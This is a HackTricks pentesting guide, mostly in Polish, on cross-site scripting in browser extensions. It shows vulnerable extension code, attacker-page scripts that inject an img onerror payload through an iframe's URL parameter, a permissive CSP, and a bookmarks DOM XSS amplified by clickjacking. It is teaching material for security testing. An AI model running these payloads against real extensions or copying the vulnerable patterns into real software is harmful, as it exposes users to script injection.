hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

7.2 KiB
Raw Blame History

BrowExt - XSS Example

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Cross-Site Scripting (XSS) przez Iframe

W tej konfiguracji implementowany jest skrypt treści, aby zainicjować Iframe, włączając adres URL z parametrami zapytania jako źródło Iframe:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Strona HTML dostępna publicznie, message.html, jest zaprojektowana do dynamicznego dodawania treści do ciała dokumentu na podstawie parametrów w URL:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Na złośliwej stronie skrypt jest wykonywany, modyfikując parametr content źródła Iframe, aby wprowadzić ładunek XSS. Osiąga się to poprzez zaktualizowanie źródła Iframe, aby zawierało szkodliwy skrypt:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Zbyt liberalna Polityka Bezpieczeństwa Treści, taka jak:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

pozwala na wykonanie JavaScript, co sprawia, że system jest podatny na ataki XSS.

Alternatywne podejście do wywołania XSS polega na utworzeniu elementu Iframe i ustawieniu jego źródła, aby zawierało szkodliwy skrypt jako parametr content:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

Ten przykład pochodzi z oryginalnego wpisu.

Główny problem wynika z podatności na Cross-site Scripting (XSS) opartej na DOM, znajdującej się w /html/bookmarks.html. Problemowy JavaScript, część bookmarks.js, jest szczegółowo opisany poniżej:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Ten fragment pobiera wartość z pola wejściowego txtName i używa konkatenacji łańcuchów do generowania HTML, który następnie jest dodawany do DOM za pomocą funkcji .append() jQuery.

Zazwyczaj Polityka Bezpieczeństwa Treści (CSP) rozszerzenia Chrome zapobiegałaby takim lukom. Jednak z powodu rozluźnienia CSP z unsafe-eval oraz użycia metod manipulacji DOM jQuery (które wykorzystują globalEval() do przekazywania skryptów do eval() po wstawieniu do DOM), wykorzystanie jest nadal możliwe.

Chociaż ta luka jest istotna, jej wykorzystanie zazwyczaj zależy od interakcji użytkownika: odwiedzenia strony, wprowadzenia ładunku XSS i aktywacji przycisku „Dodaj”.

Aby wzmocnić tę lukę, wykorzystuje się wtórną lukę clickjacking. Manifest rozszerzenia Chrome pokazuje rozbudowaną politykę web_accessible_resources:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Notably, the /html/bookmarks.html page is prone to framing, thus vulnerable to clickjacking. Ta podatność jest wykorzystywana do osadzenia strony w witrynie atakującego, nakładając na nią elementy DOM w celu wprowadzenia w błąd interfejsu. Ta manipulacja prowadzi ofiary do niezamierzonego interakcji z podstawową rozszerzeniem.

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}